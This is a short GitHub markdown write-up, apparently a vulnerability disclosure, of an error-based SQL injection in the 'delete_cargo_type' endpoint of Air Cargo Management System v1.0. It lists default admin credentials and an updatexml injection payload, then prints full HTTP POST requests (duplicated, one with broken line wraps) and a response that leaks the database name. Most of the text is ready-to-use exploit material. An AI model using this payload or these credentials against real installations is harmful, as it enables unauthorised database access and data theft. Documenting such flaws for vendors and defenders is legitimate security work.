debug601 Create SQLi-1.md History

1 contributor

31 lines (23 sloc) | 1.25 KB

Air Cargo Management System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

The password for the backend login account is: admin/admin123

Vulnerability File: /acms/classes/Master.php?f=delete_cargo_type

Vulnerability location: /acms/classes/Master.php?f=delete_cargo_type, id

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /acms/classes/Master.php?f=delete_cargo_type HTTP/1.1
Host: 192.168.1.19
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/acms/admin/?page=cargo_types
```

```
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8j006kgjjl9sdts88scke1lkuq
Connection: close

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place --->
```

```
POST /acms/classes/Master.php?f=delete_cargo_type HTTP/1.1
Host: 192.168.1.19
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127
Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/acms/admin/?page=cargo_types
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8j006kgjjl9sdts88scke1lkuq
Connection: close

id=3' and updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+
```

```
HTTP/1.1 200 OK
Date: Tue, 03 May 2022 03:40:18 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed","error":"XPATH syntax error: '~acms_db~'"}
```